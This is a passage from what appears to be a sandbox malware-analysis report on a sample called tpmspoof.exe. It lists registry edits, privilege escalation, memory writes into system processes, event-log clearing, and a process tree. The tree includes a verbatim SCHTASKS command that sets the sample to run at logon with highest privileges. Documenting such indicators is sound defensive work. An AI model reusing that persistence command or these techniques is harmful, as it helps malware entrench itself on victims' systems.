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"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Fri, 24 Apr 2026 02:24:43 GMT"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02mpjclbchhscumz\DeviceId = "<Data LastUpdatedTime=\"1776997404\"><User username=\"02MPJCLBCHHSCUMZ\"><HardwareInfo BoundTime=\"1776997404\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n"	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02mpjclbchhscumz\DeviceId = "<Data LastUpdatedTime=\"1776997404\"><User username=\"02MPJCLBCHHSCUMZ\"><HardwareInfo BoundTime=\"1776997405\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1776997482"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3376	SCHTASKS.exe
1972	SCHTASKS.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe
5368	uobfi1o5.tfk.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3236	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5284	tpmspoof.exe
Token: SeDebugPrivilege	5368	uobfi1o5.tfk.exe
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeDebugPrivilege	1036	tpm spoof.exe
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeDebugPrivilege	1948	powershell.exe
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeDebugPrivilege	3132	WindowsServices.exe
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeShutdownPrivilege	3236	Explorer.EXE
Token: SeCreatePagefilePrivilege	3236	Explorer.EXE
Token: SeShutdownPrivilege	3384	svchost.exe
Token: SeCreatePagefilePrivilege	3384	svchost.exe
Token: SeShutdownPrivilege	3384	svchost.exe
Token: SeCreatePagefilePrivilege	3384	svchost.exe
Token: SeShutdownPrivilege	3384	svchost.exe
Token: SeCreatePagefilePrivilege	3384	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2168	svchost.exe
Token: SeIncreaseQuotaPrivilege	2168	svchost.exe
Token: SeSecurityPrivilege	2168	svchost.exe
Token: SeTakeOwnershipPrivilege	2168	svchost.exe
Token: SeLoadDriverPrivilege	2168	svchost.exe
Token: SeBackupPrivilege	2168	svchost.exe
Token: SeRestorePrivilege	2168	svchost.exe
Token: SeShutdownPrivilege	2168	svchost.exe
Token: SeSystemEnvironmentPrivilege	2168	svchost.exe
Token: SeManageVolumePrivilege	2168	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2168	svchost.exe
Token: SeIncreaseQuotaPrivilege	2168	svchost.exe
Token: SeSecurityPrivilege	2168	svchost.exe
Token: SeTakeOwnershipPrivilege	2168	svchost.exe
Token: SeLoadDriverPrivilege	2168	svchost.exe
Token: SeSystemtimePrivilege	2168	svchost.exe
Token: SeBackupPrivilege	2168	svchost.exe
Token: SeRestorePrivilege	2168	svchost.exe
Token: SeShutdownPrivilege	2168	svchost.exe
Token: SeSystemEnvironmentPrivilege	2168	svchost.exe
Token: SeUndockPrivilege	2168	svchost.exe
Token: SeManageVolumePrivilege	2168	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2168	svchost.exe
Token: SeIncreaseQuotaPrivilege	2168	svchost.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3236	Explorer.EXE
3236	Explorer.EXE
3236	Explorer.EXE
3236	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
5244	Conhost.exe
3776	Conhost.exe
1640	Conhost.exe
6060	Conhost.exe
3572	Conhost.exe
1420	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5284 wrote to memory of 5368	5284	tpmspoof.exe	84
PID 5284 wrote to memory of 3376	5284	tpmspoof.exe	85
PID 5368 wrote to memory of 616	5368	uobfi1o5.tfk.exe	5
PID 5368 wrote to memory of 672	5368	uobfi1o5.tfk.exe	7
PID 5368 wrote to memory of 884	5368	uobfi1o5.tfk.exe	11
PID 5368 wrote to memory of 1016	5368	uobfi1o5.tfk.exe	13
PID 5368 wrote to memory of 516	5368	uobfi1o5.tfk.exe	14
PID 5368 wrote to memory of 692	5368	uobfi1o5.tfk.exe	15
PID 5368 wrote to memory of 1064	5368	uobfi1o5.tfk.exe	16
PID 5368 wrote to memory of 1128	5368	uobfi1o5.tfk.exe	17
PID 5368 wrote to memory of 1140	5368	uobfi1o5.tfk.exe	18
PID 5368 wrote to memory of 1180	5368	uobfi1o5.tfk.exe	20
PID 5368 wrote to memory of 1196	5368	uobfi1o5.tfk.exe	21
PID 5368 wrote to memory of 1316	5368	uobfi1o5.tfk.exe	22
PID 5368 wrote to memory of 1340	5368	uobfi1o5.tfk.exe	23
PID 5368 wrote to memory of 1360	5368	uobfi1o5.tfk.exe	24
PID 5368 wrote to memory of 1436	5368	uobfi1o5.tfk.exe	25
PID 5368 wrote to memory of 1524	5368	uobfi1o5.tfk.exe	26
PID 5368 wrote to memory of 1584	5368	uobfi1o5.tfk.exe	27
PID 5368 wrote to memory of 1656	5368	uobfi1o5.tfk.exe	28
PID 5368 wrote to memory of 1676	5368	uobfi1o5.tfk.exe	29
PID 5368 wrote to memory of 1792	5368	uobfi1o5.tfk.exe	30
PID 5368 wrote to memory of 1852	5368	uobfi1o5.tfk.exe	31
PID 5368 wrote to memory of 1896	5368	uobfi1o5.tfk.exe	32
PID 5368 wrote to memory of 1940	5368	uobfi1o5.tfk.exe	33
PID 5368 wrote to memory of 2028	5368	uobfi1o5.tfk.exe	34
PID 5368 wrote to memory of 1684	5368	uobfi1o5.tfk.exe	35
PID 5368 wrote to memory of 1844	5368	uobfi1o5.tfk.exe	36
PID 5368 wrote to memory of 2120	5368	uobfi1o5.tfk.exe	37
PID 5368 wrote to memory of 2128	5368	uobfi1o5.tfk.exe	38
PID 5368 wrote to memory of 2168	5368	uobfi1o5.tfk.exe	39
PID 5368 wrote to memory of 2248	5368	uobfi1o5.tfk.exe	40
PID 5368 wrote to memory of 2308	5368	uobfi1o5.tfk.exe	42
PID 5368 wrote to memory of 2440	5368	uobfi1o5.tfk.exe	43
PID 5368 wrote to memory of 2520	5368	uobfi1o5.tfk.exe	44
PID 5368 wrote to memory of 2528	5368	uobfi1o5.tfk.exe	45
PID 5368 wrote to memory of 2584	5368	uobfi1o5.tfk.exe	46
PID 5368 wrote to memory of 2644	5368	uobfi1o5.tfk.exe	47
PID 5368 wrote to memory of 2740	5368	uobfi1o5.tfk.exe	48
PID 5368 wrote to memory of 2756	5368	uobfi1o5.tfk.exe	49
PID 5368 wrote to memory of 1668	5368	uobfi1o5.tfk.exe	51
PID 5368 wrote to memory of 2748	5368	uobfi1o5.tfk.exe	52
PID 5368 wrote to memory of 680	5368	uobfi1o5.tfk.exe	53
PID 5368 wrote to memory of 780	5368	uobfi1o5.tfk.exe	54
PID 5368 wrote to memory of 3236	5368	uobfi1o5.tfk.exe	55
PID 5368 wrote to memory of 3256	5368	uobfi1o5.tfk.exe	56
PID 5368 wrote to memory of 3416	5368	uobfi1o5.tfk.exe	57
PID 5368 wrote to memory of 3604	5368	uobfi1o5.tfk.exe	58
PID 5368 wrote to memory of 3756	5368	uobfi1o5.tfk.exe	60
PID 5368 wrote to memory of 4012	5368	uobfi1o5.tfk.exe	62
PID 5368 wrote to memory of 4616	5368	uobfi1o5.tfk.exe	65
PID 5368 wrote to memory of 6120	5368	uobfi1o5.tfk.exe	67
PID 5368 wrote to memory of 1052	5368	uobfi1o5.tfk.exe	69
PID 5368 wrote to memory of 5816	5368	uobfi1o5.tfk.exe	70
PID 5368 wrote to memory of 1788	5368	uobfi1o5.tfk.exe	71
PID 5368 wrote to memory of 5692	5368	uobfi1o5.tfk.exe	72
PID 5368 wrote to memory of 4412	5368	uobfi1o5.tfk.exe	73
PID 5368 wrote to memory of 1448	5368	uobfi1o5.tfk.exe	74
PID 5368 wrote to memory of 2604	5368	uobfi1o5.tfk.exe	75
PID 5368 wrote to memory of 2208	5368	uobfi1o5.tfk.exe	77
PID 5368 wrote to memory of 720	5368	uobfi1o5.tfk.exe	78
PID 5368 wrote to memory of 5284	5368	uobfi1o5.tfk.exe	83
PID 3236 wrote to memory of 4872	3236	Explorer.EXE
PID 5368 wrote to memory of 4872	5368	uobfi1o5.tfk.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:516

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Drops file in System32 directory
PID:672

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-35cc1778-b20c-4f08-b8bf-c2d1aa3bb7d5 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-1cbe01ea-2e67-411d-a072-b54f7b8dabf6 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3dbf2e0c-8a3f-441d-8cea-4b078e45e7c9 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ff7933d3-9b42-478c-ae21-77b7ab97309a -LifetimeId:6b9b8e6a-0ac1-4190-afbb-e828c4c3bb1d -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1064

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1140
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:680

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1584
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:1668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1676

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1792

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1852

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1896

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1844

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2168

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2248

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2308

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2644

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:780

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3236
- C:\Users\Admin\AppData\Local\Temp\tpmspoof.exe
  "C:\Users\Admin\AppData\Local\Temp\tpmspoof.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5284
- - C:\Users\Admin\AppData\Local\Temp\uobfi1o5.tfk.exe
    "C:\Users\Admin\AppData\Local\Temp\uobfi1o5.tfk.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5368
- - C:\Windows\SYSTEM32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masontpmspoof.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\tpmspoof.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3376
- - C:\Windows\SYSTEM32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masontpmspoof.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\tpmspoof.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1972
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4124
- - C:\Users\Admin\AppData\Local\Temp\tpm spoof.exe
    "C:\Users\Admin\AppData\Local\Temp\tpm spoof.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1036
  - - C:\Windows\WindowsServices.exe
      "C:\Windows\WindowsServices.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3132
    - - C:\Windows\SysWOW64\netsh.exe
        
